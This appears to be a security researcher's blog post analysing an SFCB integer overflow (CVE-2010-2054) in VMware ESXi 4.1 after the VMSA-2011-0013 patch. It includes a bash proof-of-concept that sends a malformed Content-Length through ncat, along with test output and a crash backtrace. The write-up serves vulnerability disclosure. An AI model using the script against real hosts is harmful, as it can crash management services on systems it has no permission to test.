Regarding VMSA-2011-0013 ...

Just a quick blog-post in order to publically describe some facts about the recent VMware patch for ESX and ESXi (VMSA-2011-0013) ...

I published in June 2010 two pre-authentication bugs in SFCB : one heap overflow (CVE-2010-1937) and one integer overflow (CVE-2010-2054). The first bug was silently patched by VMware in previous versions of their products and will not be discussed further. But the story behind the second one is somewhat funny ;-)

So, in June 2010, the latest available version of ESX and ESXi was 4.0. This version doesn't include a vulnerable version of SFCB. It uses v1.3.3 but CVE-2010-2054 was introduced in v1.3.4. So far so good ... But one month later, VMware ESX and ESXi 4.1 was released, including sfcbd v1.3.4 (the vulnerable one). And in October 2011, a patch was finally published.

However, the question is : is an unpatched version of ESX or ESXi 4.0 really exploitable ? I did some testing on "VMware ESXi 4.1.0 build-260247", that I'll show in details now.

First, the testing script :

$ cat cl.sh 
#!/bin/bash

XX="[==]"
IP=$1
CL=$2
SZ=$3

echo "$XX Target : $IP"
echo "$XX Claimed Content-Length : $CL"
echo "$XX Real Body Length : $SZ"
echo;

(echo "POST /cimom HTTP/1.1"; \
	echo "Content-Length: $CL"; \
	echo; \
	perl -e "print 'C'x$SZ" \
	echo; \
	) | ncat --ssl $IP 5989

Let's go straight to the exploitable situation, using a value near UINT_MAX :

./cl.sh 192.168.8.2 4294967292 10
[==] Target : 192.168.8.2
[==] Claimed Content-Length : 4294967292
[==] Real Body Length : 10

HTTP/1.1 413 Request Entity Too Large
Server: sfcHttpd
Content-Length: 0

Doh, a 413 status code :-( Not the expected answer.
After some additonal testing :

$ ./cl.sh 192.168.8.2 100000000 10 
[==] Target : 192.168.8.2
[==] Claimed Content-Length : 100000000
[==] Real Body Length : 10

HTTP/1.1 401 Unauthorized
WWW-Authenticate: Basic realm="cimom"
Server: sfcHttpd
Content-Length: 0

$ ./cl.sh 192.168.8.2 100000001 10
[==] Target : 192.168.8.2
[==] Claimed Content-Length : 100000001
[==] Real Body Length : 10

HTTP/1.1 413 Request Entity Too Large
Server: sfcHttpd
Content-Length: 0

It seems that VMware uses a hard-coded value of 100.000.000 for httpMaxContentLength.
Adding "httpMaxContentLength=0" to the file /etc/sfcb/sfcb.cfg will bypass this verification and allow to crash the process :

$ ./cl.sh 192.168.8.2 100000001 10 
[==] Target : 192.168.8.2
[==] Claimed Content-Length : 100000001
[==] Real Body Length : 10

HTTP/1.1 401 Unauthorized
WWW-Authenticate: Basic realm="cimom"
Server: sfcHttpd
Content-Length: 0

Not an 413, this seems fine ! Now with a value near UINT_MAX :

$ ./cl.sh 192.168.8.2 4294967292 10
[==] Target : 192.168.8.2
[==] Claimed Content-Length : 4294967292
[==] Real Body Length : 10

HTTP/1.1 401 Unauthorized
WWW-Authenticate: Basic realm="cimom"
Server: sfcHttpd
Content-Length: 0

And on the ESXi side :

*** glibc detected *** sfcbd: free(): invalid pointer: 0x089654f8 ***
======= Backtrace: =========
/lib/libc.so.6[0x1e07119d]
/lib/libc.so.6(cfree+0x90)[0x1e074d90]
/lib/libsfcHttpAdapter.so.0[0x1dddc3b4]
/lib/libsfcHttpAdapter.so.0[0x1dddf690]
/lib/libsfcHttpAdapter.so.0[0x1dde052e]
/lib/libsfcHttpAdapter.so.0(httpDaemon+0x133b)[0x1dde1aba]
sfcbd[0x8930f67]
sfcbd[0x8931b5c]
/lib/libc.so.6(__libc_start_main+0xdc)[0x1e01df0c]
sfcbd[0x89307b1]
======= Memory map: ========

In conclusion : by default, ESXi 4.1 doesn't seem to be exploitable. But the vulnerable code is here, and is reachable if a special value (zero) is defined for the "httpMaxContentLength" configuration entry. If you use ESX (untested), you should do your own testing or just install the patch.